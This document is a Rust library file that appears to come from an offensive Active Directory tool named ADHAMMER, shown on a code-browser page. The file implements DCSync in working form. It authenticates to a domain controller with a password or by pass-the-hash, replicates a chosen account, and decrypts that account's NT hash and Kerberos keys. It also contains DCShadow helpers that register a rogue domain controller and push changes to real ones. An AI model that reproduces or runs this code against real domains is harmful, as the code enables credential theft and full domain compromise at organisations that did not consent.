Skip to main content

ms_drsr/
lib.rs

1//! DRSUAPI (MS-DRSR) — the directory replication interface used for DCSync.
2//!
3//! DCSync abuses replication: bind to DRSUAPI over a sign+sealed ncacn_ip_tcp channel
4//! (`DRSBind`), then request a single object's secrets with `DRSGetNCChanges`
5//! (EXOP_REPL_OBJ). The reply carries the account's attributes with the secrets encrypted
6//! under the NTLM session key; a per-RID DES pass then recovers the NT hash.
7//!
8//! This crate marshals the DRS structures by hand on top of [`dcerpc::ndr`], riding
9//! dcerpc's sealed ncacn_ip_tcp transport. `DRSBind` is implemented and validated live;
10//! `DRSGetNCChanges` builds on the same primitives.
11
12use dcerpc::ndr::{NdrDecoder, NdrEncoder};
13use dcerpc::transport::RpcTcp;
14use dcerpc::{epm, Result, RpcError, Syntax};
15use windows_sddl::Guid;
16
17pub mod addentry;
18pub mod dsname;
19pub mod repladd;
20
21/// DRSUAPI interface: e3514235-4b06-11d1-ab04-00c04fc2dcd2 v4.0.
22pub fn drsuapi_syntax() -> Syntax {
23    Syntax::new("e3514235-4b06-11d1-ab04-00c04fc2dcd2", 4, 0)
24}
25
26/// NTDSAPI client GUID (the well-known value every DRS client presents).
27const NTDSAPI_CLIENT_GUID: &str = "e24d201a-4fd6-11d1-a3da-0000f875ae0d";
28
29pub mod opnum {
30    pub const DRS_BIND: u16 = 0;
31    pub const DRS_GET_NC_CHANGES: u16 = 3;
32    pub const DRS_REPLICA_ADD: u16 = 5;
33    pub const DRS_CRACK_NAMES: u16 = 12;
34    pub const DRS_ADD_ENTRY: u16 = 17;
35}
36
37/// Bounded-alloc preflight — refuse to allocate `count × min_element_bytes` when
38/// the decoder can't physically supply that many bytes. Same rule as the 1.3.10
39/// DRSUAPI hardening that guards `parse_repl_object`; reused by the new opnums'
40/// reply decoders (AddEntry V3 in particular).
41pub(crate) mod ndr_bounded {
42    use super::{Result, RpcError};
43    use dcerpc::ndr::NdrDecoder;
44    pub fn preflight(d: &NdrDecoder, count: usize, min_element_bytes: usize) -> Result<()> {
45        let need = count.checked_mul(min_element_bytes).ok_or_else(|| {
46            RpcError::Protocol(format!(
47                "count {count} × stride {min_element_bytes} overflows"
48            ))
49        })?;
50        if need > d.remaining() {
51            return Err(RpcError::Protocol(format!(
52                "hostile count: {count} × {min_element_bytes} = {need} bytes but only {} remain",
53                d.remaining()
54            )));
55        }
56        Ok(())
57    }
58}
59
60// DS_NAME_FORMAT (MS-DRSR 4.1.4.1.3).
61const DS_NT4_ACCOUNT_NAME: u32 = 2;
62const DS_UNIQUE_ID_NAME: u32 = 6; // "{objectGUID}"
63
64// DRS_EXTENSIONS_INT dwFlags bits we advertise — enough for a V8 request / V6 reply with
65// strong (session-key) encryption of the returned secrets.
66const DRS_EXT_BASE: u32 = 0x0000_0001;
67const DRS_EXT_STRONG_ENCRYPTION: u32 = 0x0000_8000;
68const DRS_EXT_GETCHGREQ_V8: u32 = 0x0100_0000;
69const DRS_EXT_GETCHGREPLY_V6: u32 = 0x0400_0000;
70
71/// Parse a "{guid}" (or bare guid) string into the 16-byte DCE wire layout.
72fn parse_guid_braced(s: &str) -> Result<[u8; 16]> {
73    let t = s.trim().trim_start_matches('{').trim_end_matches('}');
74    Guid::parse(t)
75        .map(|g| g.0)
76        .ok_or_else(|| RpcError::Protocol(format!("bad GUID '{s}'")))
77}
78
79/// Build the DRS_EXTENSIONS_INT rgb payload (the bytes that follow `cb`).
80fn drs_extensions_rgb() -> Vec<u8> {
81    let mut v = Vec::new();
82    let flags =
83        DRS_EXT_BASE | DRS_EXT_STRONG_ENCRYPTION | DRS_EXT_GETCHGREQ_V8 | DRS_EXT_GETCHGREPLY_V6;
84    v.extend_from_slice(&flags.to_le_bytes()); // dwFlags
85    v.extend_from_slice(&[0u8; 16]); // SiteObjGuid
86    v.extend_from_slice(&0u32.to_le_bytes()); // Pid
87    v.extend_from_slice(&0u32.to_le_bytes()); // dwReplEpoch
88    v.extend_from_slice(&0u32.to_le_bytes()); // dwFlagsExt
89    v.extend_from_slice(&[0u8; 16]); // ConfigObjGUID
90    v.extend_from_slice(&0xffff_ffffu32.to_le_bytes()); // dwExtCaps
91    v
92}
93
94/// An established DRS session: the sealed RPC connection plus the server-returned handle.
95pub struct DrsSession {
96    rpc: RpcTcp,
97    handle: [u8; 20],
98    session_key: [u8; 16],
99}
100
101impl DrsSession {
102    /// Resolve DRSUAPI's dynamic port via the endpoint mapper, open a sign+sealed session,
103    /// and `DRSBind` to obtain the replication handle. Password auth.
104    pub async fn bind(host: &str, domain: &str, user: &str, password: &str) -> Result<Self> {
105        let port = epm::resolve_port(host, drsuapi_syntax()).await?;
106        let mut rpc = RpcTcp::connect(&format!("{host}:{port}")).await?;
107        rpc.bind_sealed(drsuapi_syntax(), domain, user, password, "ADHAMMER")
108            .await?;
109        finalize_drsbind(rpc).await
110    }
111
112    /// Same as [`bind`] but authenticated with a 16-byte (32-hex-char) NT hash — pass-the-hash.
113    /// Uses `dcerpc::RpcTcp::bind_sealed_hash`. `nt_hash_hex` must be exactly 32 lowercase hex chars.
114    pub async fn bind_nt_hash(
115        host: &str,
116        domain: &str,
117        user: &str,
118        nt_hash_hex: &str,
119    ) -> Result<Self> {
120        let nt_hash = parse_nt_hash_hex(nt_hash_hex)?;
121        let port = epm::resolve_port(host, drsuapi_syntax()).await?;
122        let mut rpc = RpcTcp::connect(&format!("{host}:{port}")).await?;
123        rpc.bind_sealed_hash(drsuapi_syntax(), domain, user, &nt_hash, "ADHAMMER")
124            .await?;
125        finalize_drsbind(rpc).await
126    }
127
128    pub fn handle(&self) -> &[u8; 20] {
129        &self.handle
130    }
131}
132
133/// Decode a 32-char hex NT hash into the 16-byte form `bind_sealed_hash` requires.
134fn parse_nt_hash_hex(hex: &str) -> Result<[u8; 16]> {
135    let s = hex.trim();
136    if s.len() != 32 || !s.bytes().all(|b| b.is_ascii_hexdigit()) {
137        return Err(RpcError::Protocol(format!(
138            "NT hash must be 32 hex chars, got {} chars",
139            s.len()
140        )));
141    }
142    let mut out = [0u8; 16];
143    for (i, byte) in out.iter_mut().enumerate() {
144        *byte = u8::from_str_radix(&s[i * 2..i * 2 + 2], 16)
145            .map_err(|e| RpcError::Protocol(format!("bad NT hash hex: {e}")))?;
146    }
147    Ok(out)
148}
149
150/// Shared tail for [`DrsSession::bind`] and [`DrsSession::bind_nt_hash`]. Issues the DRSBind
151/// opnum-0 exchange and packs the response into a `DrsSession`. Broken out so both
152/// constructors stay identical after the auth step.
153async fn finalize_drsbind(mut rpc: RpcTcp) -> Result<DrsSession> {
154    // IDL_DRSBind(puuidClientDsa [unique], pextClient [unique]) → (ppextServer, phDrs, ret)
155    let mut e = NdrEncoder::new();
156    e.referent(); // puuidClientDsa: non-null unique pointer
157    e.uuid(&Guid::parse(NTDSAPI_CLIENT_GUID).expect("client GUID").0);
158    e.referent(); // pextClient: non-null unique pointer to DRS_EXTENSIONS
159    let rgb = drs_extensions_rgb();
160    let cb = rgb.len() as u32;
161    e.u32(cb); // conformant max_count (rgb is [size_is(cb)])
162    e.u32(cb); // cb
163    e.bytes(&rgb);
164    while e.len() % 4 != 0 {
165        e.u8(0);
166    }
167    let resp = rpc.call_sealed(opnum::DRS_BIND, &e.into_bytes()).await?;
168
169    // Reply: ppextServer [ref] → DRS_EXTENSIONS, phDrs (20-byte context handle), retval.
170    let mut d = NdrDecoder::new(&resp);
171    let _server_ext_ref = d.u32()?;
172    let _max = d.u32()?;
173    let server_cb = d.u32()? as usize;
174    let _server_rgb = d.read_bytes(server_cb)?;
175    while d.position() % 4 != 0 {
176        d.u8()?;
177    }
178    let handle: [u8; 20] = d.read_bytes(20)?.try_into().unwrap();
179    let retval = d.u32().unwrap_or(0);
180    if retval != 0 {
181        return Err(RpcError::Protocol(format!(
182            "DRSBind failed: 0x{retval:08x}"
183        )));
184    }
185    let session_key = rpc
186        .session_key()
187        .ok_or_else(|| RpcError::Protocol("no session key".into()))?;
188    Ok(DrsSession {
189        rpc,
190        handle,
191        session_key,
192    })
193}
194
195impl DrsSession {
196    /// DRSCrackNames: resolve `DOMAIN\name` (NT4 format) to the target's objectGUID.
197    /// Uses the V1 request/reply. Returns the 16-byte GUID (DCE wire layout).
198    pub async fn crack_name_to_guid(
199        &mut self,
200        netbios_domain: &str,
201        name: &str,
202    ) -> Result<[u8; 16]> {
203        let offered = format!("{netbios_domain}\\{name}");
204        let mut e = NdrEncoder::new();
205        e.bytes(&self.handle); // hDrs context handle (20 bytes, [ref])
206        e.u32(1); // dwInVersion = 1
207                  // pmsgIn [ref, switch_is(1)] → non-encapsulated union: switch value then the V1 arm.
208        e.u32(1); // union discriminant = 1
209        e.u32(0); // CodePage
210        e.u32(0); // LocaleId
211        e.u32(0); // dwFlags
212        e.u32(DS_NT4_ACCOUNT_NAME); // formatOffered
213        e.u32(DS_UNIQUE_ID_NAME); // formatDesired
214        e.u32(1); // cNames
215        e.referent(); // rpNames (embedded pointer to the array)
216        e.u32(1); // conformant max_count of the pointer array
217        e.referent(); // rpNames[0] (pointer to the string)
218        e.conformant_varying_wstr(&offered);
219        let resp = self
220            .rpc
221            .call_sealed(opnum::DRS_CRACK_NAMES, &e.into_bytes())
222            .await?;
223
224        // Reply: pdwOutVersion (u32), then DRS_MSG_CRACKREPLY union (switch=1) → DS_NAME_RESULTW*
225        //   { cItems, [ref] rItems* → [ cItems × { status u32, pDomain wstr*, pName wstr* } ] }
226        let mut d = NdrDecoder::new(&resp);
227        let _out_version = d.u32()?;
228        let _union_switch = d.u32()?;
229        let _presult_ref = d.u32()?; // pResult [ref] referent
230        let c_items = d.u32()?;
231        let _ritems_ref = d.u32()?; // rItems [ref] referent
232        let _max = d.u32()?; // conformant max_count of the item array
233        if c_items == 0 {
234            return Err(RpcError::Protocol("CrackNames returned no items".into()));
235        }
236        // Item array: fixed fields first (status + two string referents), then the strings.
237        let status = d.u32()?;
238        let dom_ref = d.u32()?;
239        let name_ref = d.u32()?;
240        if status != 0 {
241            return Err(RpcError::Protocol(format!(
242                "CrackNames status {status} (name not found?)"
243            )));
244        }
245        if dom_ref != 0 {
246            let _dom = d.conformant_varying_wstr()?;
247        }
248        if name_ref == 0 {
249            return Err(RpcError::Protocol(
250                "CrackNames: no cracked name returned".into(),
251            ));
252        }
253        let cracked = d.conformant_varying_wstr()?; // "{guid}"
254        parse_guid_braced(&cracked)
255    }
256
257    /// DRSGetNCChanges V8, single-object (EXOP_REPL_OBJ): replicate exactly the target
258    /// object identified by `guid`. Returns the raw reply stub for attribute extraction.
259    pub async fn get_nc_changes(&mut self, guid: &[u8; 16]) -> Result<Vec<u8>> {
260        const EXOP_REPL_OBJ: u32 = 6;
261        let mut e = NdrEncoder::new();
262        e.bytes(&self.handle); // hDrs (20)
263        e.u32(8); // dwInVersion
264        e.u32(8); // union discriminant
265        e.align(8); // the V8 arm has u64 members → 8-byte aligned after the discriminant
266
267        // DRS_MSG_GETCHGREQ_V8 — fixed part (embedded pointer pointees are deferred).
268        e.uuid(&[0u8; 16]); // uuidDsaObjDest
269        e.uuid(&[0u8; 16]); // uuidInvocIdSrc
270        e.referent(); // pNC (non-null)
271        e.u64(0); // usnvecFrom.usnHighObjUpdate
272        e.u64(0); // usnvecFrom.usnReserved
273        e.u64(0); // usnvecFrom.usnHighPropUpdate
274        e.null_ptr(); // pUpToDateVecDest
275        e.u32(0); // ulFlags
276        e.u32(1); // cMaxObjects
277        e.u32(0); // cMaxBytes
278        e.u32(EXOP_REPL_OBJ); // ulExtendedOp
279        e.u64(0); // liFsmoInfo
280        e.null_ptr(); // pPartialAttrSet
281        e.null_ptr(); // pPartialAttrSetEx
282        e.u32(0); // PrefixTableDest.PrefixCount
283        e.null_ptr(); // PrefixTableDest.pPrefixEntry
284
285        // Deferred: pNC pointee = DSNAME (conformant struct; StringName max_count first).
286        e.u32(1); // StringName conformant max_count (NameLen + terminating null)
287        e.u32(58); // structLen
288        e.u32(0); // SidLen
289        e.uuid(guid); // Guid (the target)
290        e.bytes(&[0u8; 28]); // Sid
291        e.u32(0); // NameLen
292        e.u16(0); // StringName[0] = NUL
293        while e.len() % 4 != 0 {
294            e.u8(0);
295        }
296
297        let resp = self
298            .rpc
299            .call_sealed(opnum::DRS_GET_NC_CHANGES, &e.into_bytes())
300            .await?;
301        Ok(resp)
302    }
303
304    /// Fire IDL_DRSAddEntry (opnum 17) — V2 request, V3 reply.
305    ///
306    /// DCShadow prep uses a single-entry call to register a rogue `nTDSDSA`
307    /// under `CN=Configuration,<base>` (the LDAP path is blocked on Server
308    /// 2019+ by the system-owned attribute hardening — see the adhammer
309    /// memory note `[[dcshadow-ldap-dead-on-2019plus]]`). DCShadow push uses
310    /// a second call to write a target object's modified attribute.
311    pub async fn add_entry(
312        &mut self,
313        entries: &[addentry::AddEntry],
314    ) -> Result<addentry::AddEntryReplyV3> {
315        let stub = addentry::encode_v2_request(&self.handle, entries);
316        let resp = self.rpc.call_sealed(opnum::DRS_ADD_ENTRY, &stub).await?;
317        addentry::decode_v3_reply(&resp)
318    }
319
320    /// Fire IDL_DRSReplicaAdd (opnum 5) — V1 request; returns the DC's status.
321    /// DCShadow push calls this after `add_entry` to make the target DC pull
322    /// changes from our rogue DSA.
323    pub async fn replica_add(
324        &mut self,
325        dst_nc_dn: &str,
326        source_dsa_address: &str,
327        options: u32,
328    ) -> Result<u32> {
329        let schedule = repladd::always_schedule();
330        let stub = repladd::encode_v1_request(
331            &self.handle,
332            dst_nc_dn,
333            source_dsa_address,
334            &schedule,
335            options,
336        );
337        let resp = self.rpc.call_sealed(opnum::DRS_REPLICA_ADD, &stub).await?;
338        repladd::decode_reply(&resp)
339    }
340
341    /// Full single-object DCSync: crack the name to a GUID, replicate the object, and decrypt
342    /// its NT hash + Kerberos keys. Returns (rid, nt_hash, kerberos_keys).
343    pub async fn dcsync(
344        &mut self,
345        netbios_domain: &str,
346        name: &str,
347    ) -> Result<(u32, [u8; 16], Vec<KerbKey>)> {
348        let guid = self.crack_name_to_guid(netbios_domain, name).await?;
349        let reply = self.get_nc_changes(&guid).await?;
350        if let Ok(path) = std::env::var("ADHAMMER_DUMP_REPLY") {
351            let _ = std::fs::write(&path, &reply);
352            eprintln!("[dbg] wrote {} bytes of DRS reply to {path}", reply.len());
353        }
354        let (rid, nt_enc, supp_enc) = parse_repl_object(&reply)?;
355        if nt_enc.is_empty() {
356            return Err(RpcError::Protocol(
357                "object has no unicodePwd (machine/empty?)".into(),
358            ));
359        }
360        let nt = drs_decrypt_hash(&self.session_key, &nt_enc, rid)?;
361        // supplementalCredentials → Kerberos AES/DES keys (best-effort; absent on some accounts).
362        let kerb = if supp_enc.is_empty() {
363            Vec::new()
364        } else {
365            let blob = drs_decrypt_blob(&self.session_key, &supp_enc).unwrap_or_default();
366            if std::env::var("ADHAMMER_DUMP_SUPP").is_ok() {
367                eprintln!(
368                    "[supp] {}",
369                    blob.iter().map(|b| format!("{b:02x}")).collect::<String>()
370                );
371            }
372            parse_kerberos_keys(&blob)
373        };
374        Ok((rid, nt, kerb))
375    }
376}
377
378// DRS ATTRTYPs: unicodePwd (RC4/DES-wrapped NT hash) and supplementalCredentials (Kerberos keys).
379const ATTR_UNICODE_PWD: u32 = 0x0009_005a;
380const ATTR_SUPPLEMENTAL_CREDENTIALS: u32 = 0x0009_007d;
381
382/// Walk the DRS_MSG_GETCHGREPLY_V6 to the single replicated object; return
383/// (rid, encrypted unicodePwd, encrypted supplementalCredentials). Walks all attribute values.
384fn parse_repl_object(reply: &[u8]) -> Result<(u32, Vec<u8>, Vec<u8>)> {
385    let mut d = NdrDecoder::new(reply);
386    // --- V6 fixed part ---
387    d.u32()?;
388    d.u32()?; // pdwOutVersion, union switch
389    d.read_bytes(16)?;
390    d.read_bytes(16)?; // uuidDsaObjSrc, uuidInvocIdSrc
391    d.u32()?; // pNC ref
392    d.align(8);
393    d.read_bytes(24)?;
394    d.read_bytes(24)?; // usnvecFrom, usnvecTo
395    d.u32()?; // pUpToDateVecSrc ref
396    let pfx_count = d.u32()?;
397    d.u32()?; // PrefixTableSrc { count, ptr }
398    d.u32()?;
399    d.u32()?;
400    d.u32()?; // ulExtendedRet, cNumObjects, cNumBytes
401    d.u32()?; // pObjects ref
402    d.u32()?; // fMoreData
403    d.u32()?;
404    d.u32()?;
405    d.u32()?;
406    d.u32()?;
407    d.u32()?; // cNumNcSizeObjects/Values, cNumValues, rgValues, dwDRSError
408
409    // --- deferred: pNC DSNAME ---
410    skip_dsname(&mut d)?;
411    // --- deferred: prefix table (count entries, then each OID's byte array) ---
412    let ptmc = d.u32()?;
413    let mut oid_lens = Vec::with_capacity(ptmc as usize);
414    for _ in 0..ptmc {
415        d.u32()?; // ndx
416        oid_lens.push(d.u32()?); // OID length
417        d.u32()?; // OID elements ptr
418    }
419    for l in oid_lens {
420        if l > 0 {
421            let m = d.u32()?;
422            d.read_bytes(m as usize)?;
423            d.align(4);
424        }
425    }
426    let _ = pfx_count;
427
428    // --- deferred: pObjects (REPLENTINFLIST) ---
429    d.u32()?; // pNextEntInf ref
430    d.u32()?; // ENTINF.pName ref
431    d.u32()?; // ENTINF.ulFlags
432    let attr_count = d.u32()?; // ATTRBLOCK.attrCount
433    d.u32()?; // pAttr ref
434    d.u32()?; // fIsNCPrefix
435    d.u32()?; // pParentGuid ref
436    d.u32()?; // pMetaDataExt ref
437
438    // deferred within REPLENTINFLIST: pName DSNAME (carries the object SID → RID)
439    let rid = read_dsname_rid(&mut d)?;
440
441    // ATTR array (conformant): max_count then attr_count × (attrTyp, valCount, pAVal ref)
442    let amc = d.u32()?;
443    let mut triples = Vec::with_capacity(amc as usize);
444    for _ in 0..amc {
445        let at = d.u32()?;
446        let vc = d.u32()?;
447        let pav = d.u32()?;
448        triples.push((at, vc, pav));
449    }
450    let _ = attr_count;
451
452    // Per-attribute values (deferred, in attribute order). Walk all — supplementalCredentials
453    // may follow unicodePwd — capturing both by ATTRTYP.
454    let (mut nt_enc, mut supp_enc) = (Vec::new(), Vec::new());
455    for (at, vc, pav) in triples {
456        if pav == 0 || vc == 0 {
457            continue;
458        }
459        let vmc = d.u32()?;
460        let mut vptrs = Vec::with_capacity(vmc as usize);
461        for _ in 0..vmc {
462            d.u32()?; // valLen
463            vptrs.push(d.u32()?); // pVal ref
464        }
465        let mut first = Vec::new();
466        for (i, pv) in vptrs.iter().enumerate() {
467            if *pv != 0 {
468                let m = d.u32()?;
469                let b = d.read_bytes(m as usize)?.to_vec();
470                d.align(4);
471                if i == 0 {
472                    first = b;
473                }
474            }
475        }
476        match at {
477            ATTR_UNICODE_PWD => nt_enc = first,
478            ATTR_SUPPLEMENTAL_CREDENTIALS => supp_enc = first,
479            _ => {}
480        }
481    }
482    Ok((rid, nt_enc, supp_enc))
483}
484
485/// Consume a DSNAME (conformant struct); discard it.
486fn skip_dsname(d: &mut NdrDecoder) -> Result<()> {
487    let mc = d.u32()?; // StringName max_count
488    d.u32()?; // structLen
489    d.u32()?; // SidLen
490    d.read_bytes(16)?; // Guid
491    d.read_bytes(28)?; // Sid
492    d.u32()?; // NameLen
493    d.read_bytes(mc as usize * 2)?; // StringName
494    d.align(4);
495    Ok(())
496}
497
498/// Consume a DSNAME and return the RID from its embedded SID (last sub-authority).
499fn read_dsname_rid(d: &mut NdrDecoder) -> Result<u32> {
500    let mc = d.u32()?;
501    d.u32()?; // structLen
502    let sid_len = d.u32()?;
503    d.read_bytes(16)?; // Guid
504    let sid = d.read_bytes(28)?.to_vec();
505    d.u32()?; // NameLen
506    d.read_bytes(mc as usize * 2)?;
507    d.align(4);
508    if sid_len >= 8 {
509        let count = sid[1] as usize;
510        let off = 2 + 6 + (count - 1) * 4;
511        return Ok(u32::from_le_bytes(sid[off..off + 4].try_into().unwrap()));
512    }
513    Err(RpcError::Protocol("object DSNAME has no SID".into()))
514}
515
516// -------------------------------------------------------------------------------------------
517// DRS secret decryption (MS-DRSR 5.16.4): session-key MD5/RC4 unwrap, then per-RID DES.
518// -------------------------------------------------------------------------------------------
519
520fn drs_decrypt_hash(session_key: &[u8; 16], enc: &[u8], rid: u32) -> Result<[u8; 16]> {
521    use md5::{Digest, Md5};
522    if enc.len() < 20 {
523        return Err(RpcError::Protocol("encrypted value too short".into()));
524    }
525    // Outer layer: RC4 keyed by MD5(sessionKey || salt); salt is the first 16 bytes.
526    let salt = &enc[0..16];
527    let mut md5 = Md5::new();
528    md5.update(session_key);
529    md5.update(salt);
530    let rc4key = md5.finalize();
531    let plain = ntlmssp::Rc4::new(&rc4key).apply(&enc[16..]); // CRC32(4) + wrapped(16)
532    if plain.len() < 20 {
533        return Err(RpcError::Protocol("decrypted value too short".into()));
534    }
535    Ok(remove_des_layer(&plain[4..20], rid))
536}
537
538/// RC4 session-key unwrap of a DRS-encrypted blob (e.g. supplementalCredentials), returning the
539/// plaintext after the 16-byte salt and the 4-byte CRC — no per-RID DES (that's only for the
540/// 16-byte password hashes).
541fn drs_decrypt_blob(session_key: &[u8; 16], enc: &[u8]) -> Result<Vec<u8>> {
542    use md5::{Digest, Md5};
543    if enc.len() < 20 {
544        return Err(RpcError::Protocol("encrypted blob too short".into()));
545    }
546    let salt = &enc[0..16];
547    let mut md5 = Md5::new();
548    md5.update(session_key);
549    md5.update(salt);
550    let rc4key = md5.finalize();
551    let plain = ntlmssp::Rc4::new(&rc4key).apply(&enc[16..]);
552    Ok(plain.get(4..).map(|s| s.to_vec()).unwrap_or_default()) // strip CRC32
553}
554
555/// One Kerberos key from supplementalCredentials.
556pub struct KerbKey {
557    pub keytype: u32, // 18 = AES256, 17 = AES128, 3 = DES-CBC-MD5, 23 = RC4
558    pub key: Vec<u8>,
559}
560
561impl KerbKey {
562    pub fn etype_name(&self) -> &'static str {
563        match self.keytype {
564            20 => "aes256-cts-hmac-sha384-192", // RFC 8009 (Server 2022+/2025)
565            19 => "aes128-cts-hmac-sha256-128", // RFC 8009 (Server 2022+/2025)
566            18 => "aes256-cts-hmac-sha1-96",
567            17 => "aes128-cts-hmac-sha1-96",
568            23 => "rc4-hmac",
569            3 | 1 => "des-cbc-md5",
570            _ => "unknown",
571        }
572    }
573}
574
575/// Parse a decrypted `supplementalCredentials` (USER_PROPERTIES, MS-SAMR 2.2.10) for the
576/// `Primary:Kerberos-Newer-Keys` package → the current AES256/AES128 keys.
577pub fn parse_kerberos_keys(user_properties: &[u8]) -> Vec<KerbKey> {
578    let up = user_properties;
579    // USER_PROPERTIES header is 0x6F (111) bytes: Reserved1(4) Length(4) Reserved2(2)
580    // Reserved3(2) Reserved4(96) PropertySignature(2)=0x50, then PropertyCount(2) @ 110.
581    if up.len() < 112 || u16::from_le_bytes([up[108], up[109]]) != 0x50 {
582        return Vec::new();
583    }
584    let prop_count = u16::from_le_bytes([up[110], up[111]]) as usize;
585    let mut i = 112;
586    for _ in 0..prop_count {
587        if i + 6 > up.len() {
588            break;
589        }
590        let name_len = u16::from_le_bytes([up[i], up[i + 1]]) as usize;
591        let val_len = u16::from_le_bytes([up[i + 2], up[i + 3]]) as usize;
592        i += 6; // NameLength, ValueLength, Reserved
593        let Some(name_b) = up.get(i..i + name_len) else {
594            break;
595        };
596        let name: String = name_b
597            .chunks_exact(2)
598            .map(|c| u16::from_le_bytes([c[0], c[1]]) as u8 as char)
599            .collect();
600        i += name_len;
601        let Some(val_hex) = up.get(i..i + val_len) else {
602            break;
603        };
604        i += val_len;
605        if name == "Primary:Kerberos-Newer-Keys" {
606            // PropertyValue is ASCII-hex of the KERB_STORED_CREDENTIAL_NEW.
607            if let Ok(blob) = hex::decode(val_hex) {
608                return parse_kerb_newer_keys(&blob);
609            }
610        }
611    }
612    Vec::new()
613}
614
615/// KERB_STORED_CREDENTIAL_NEW → the current credential set's keys (MS-SAMR 2.2.10.6/2.2.10.8).
616fn parse_kerb_newer_keys(b: &[u8]) -> Vec<KerbKey> {
617    let u16 = |o: usize| u16::from_le_bytes([b[o], b[o + 1]]);
618    let u32 = |o: usize| u32::from_le_bytes([b[o], b[o + 1], b[o + 2], b[o + 3]]);
619    if b.len() < 24 {
620        return Vec::new();
621    }
622    // KERB_STORED_CREDENTIAL_NEW: Revision(2) Flags(2) CredentialCount(2) @4 ...
623    let cred_count = u16(4) as usize; // CredentialCount (current keys)
624    let mut out = Vec::new();
625    // KERB_KEY_DATA_NEW array begins at offset 24; each entry is 24 bytes.
626    for n in 0..cred_count {
627        let base = 24 + n * 24;
628        if base + 24 > b.len() {
629            break;
630        }
631        // KERB_KEY_DATA_NEW: Reserved1(2) Reserved2(2) Reserved3(4) IterationCount(4)
632        // KeyType(4)@12 KeyLength(4)@16 KeyOffset(4)@20.
633        let keytype = u32(base + 12);
634        let key_len = u32(base + 16) as usize;
635        let key_off = u32(base + 20) as usize;
636        if let Some(k) = b.get(key_off..key_off + key_len) {
637            out.push(KerbKey {
638                keytype,
639                key: k.to_vec(),
640            });
641        }
642    }
643    out
644}
645
646/// Undo the per-RID DES layer that wraps the stored NT hash.
647fn remove_des_layer(data: &[u8], rid: u32) -> [u8; 16] {
648    use des::cipher::generic_array::GenericArray;
649    use des::cipher::{BlockDecrypt, KeyInit};
650    use des::Des;
651    let (k1, k2) = rid_to_des_keys(rid);
652    let mut out = [0u8; 16];
653    let c1 = Des::new(GenericArray::from_slice(&k1));
654    let mut b0 = *GenericArray::from_slice(&data[0..8]);
655    c1.decrypt_block(&mut b0);
656    let c2 = Des::new(GenericArray::from_slice(&k2));
657    let mut b1 = *GenericArray::from_slice(&data[8..16]);
658    c2.decrypt_block(&mut b1);
659    out[0..8].copy_from_slice(&b0);
660    out[8..16].copy_from_slice(&b1);
661    out
662}
663
664fn rid_to_des_keys(rid: u32) -> ([u8; 8], [u8; 8]) {
665    let r = rid.to_le_bytes();
666    let k1 = [r[0], r[1], r[2], r[3], r[0], r[1], r[2]];
667    let k2 = [r[3], r[0], r[1], r[2], r[3], r[0], r[1]];
668    (str_to_des_key(&k1), str_to_des_key(&k2))
669}
670
671/// Expand 7 key bytes into an 8-byte DES key (7 bits/byte, parity bit cleared).
672fn str_to_des_key(s: &[u8; 7]) -> [u8; 8] {
673    let mut k = [0u8; 8];
674    k[0] = s[0] >> 1;
675    k[1] = ((s[0] & 0x01) << 6) | (s[1] >> 2);
676    k[2] = ((s[1] & 0x03) << 5) | (s[2] >> 3);
677    k[3] = ((s[2] & 0x07) << 4) | (s[3] >> 4);
678    k[4] = ((s[3] & 0x0f) << 3) | (s[4] >> 5);
679    k[5] = ((s[4] & 0x1f) << 2) | (s[5] >> 6);
680    k[6] = ((s[5] & 0x3f) << 1) | (s[6] >> 7);
681    k[7] = s[6] & 0x7f;
682    for b in k.iter_mut() {
683        *b <<= 1;
684    }
685    k
686}
687
688#[cfg(test)]
689mod tests {
690    use super::*;
691
692    #[test]
693    fn extensions_rgb_shape() {
694        let rgb = drs_extensions_rgb();
695        assert_eq!(rgb.len(), 52); // dwFlags+SiteObjGuid+Pid+ReplEpoch+FlagsExt+ConfigObjGUID+ExtCaps
696        let flags = u32::from_le_bytes(rgb[0..4].try_into().unwrap());
697        assert_eq!(flags & DRS_EXT_GETCHGREPLY_V6, DRS_EXT_GETCHGREPLY_V6);
698        assert_eq!(flags & DRS_EXT_STRONG_ENCRYPTION, DRS_EXT_STRONG_ENCRYPTION);
699    }
700
701    #[test]
702    fn syntax_uuid_parses() {
703        let s = drsuapi_syntax();
704        assert_eq!(s.ver_major, 4);
705        assert_ne!(s.uuid, [0u8; 16]);
706    }
707
708    #[test]
709    fn nt_hash_hex_decodes_to_bytes() {
710        // Empty NT hash: MD4("") = 0x31d6cfe0d16ae931b73c59d7e0c089c0
711        let empty = parse_nt_hash_hex("31d6cfe0d16ae931b73c59d7e0c089c0").unwrap();
712        assert_eq!(empty[0], 0x31);
713        assert_eq!(empty[15], 0xc0);
714        // Trim + uppercase both accepted.
715        assert!(parse_nt_hash_hex("  31D6CFE0D16AE931B73C59D7E0C089C0  ").is_ok());
716        // Wrong length rejects.
717        assert!(parse_nt_hash_hex("deadbeef").is_err());
718        // Bad chars reject.
719        assert!(parse_nt_hash_hex("zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz").is_err());
720    }
721
722    /// Fuzz-lite: `parse_repl_object` walks a DRSGetNCChanges reply (deferred NDR pointers,
723    /// prefix table, REPLENTINFLIST). This is the most intricate wire parser in the tree and it
724    /// reads DC-supplied bytes — it must never panic on a malformed/hostile reply.
725    #[test]
726    fn fuzz_parse_repl_object_never_panics() {
727        let mut s: u64 = 0xD25A_0FED_1234_ABCD;
728        let mut rng = || {
729            s ^= s >> 12;
730            s ^= s << 25;
731            s ^= s >> 27;
732            s.wrapping_mul(0x2545_F491_4F6C_DD1D)
733        };
734        let prev = std::panic::take_hook();
735        std::panic::set_hook(Box::new(|_| {}));
736        let mut fail = None;
737        for _ in 0..200_000 {
738            let n = rng() as usize % 512;
739            let mut buf: Vec<u8> = (0..n).map(|_| rng() as u8).collect();
740            // Bias some bytes toward small counts/offsets so the walker descends rather than
741            // bailing immediately (drives coverage of the deferred-pointer paths).
742            for _ in 0..(rng() as usize % 8) {
743                if !buf.is_empty() {
744                    let i = rng() as usize % buf.len();
745                    buf[i] = (rng() % 4) as u8;
746                }
747            }
748            let b = buf.clone();
749            if std::panic::catch_unwind(|| {
750                let _ = parse_repl_object(&b);
751            })
752            .is_err()
753            {
754                fail = Some(buf);
755                break;
756            }
757        }
758        std::panic::set_hook(prev);
759        if let Some(buf) = fail {
760            panic!(
761                "parse_repl_object panicked on {} bytes: {}",
762                buf.len(),
763                buf.iter().map(|x| format!("{x:02x}")).collect::<String>()
764            );
765        }
766    }
767
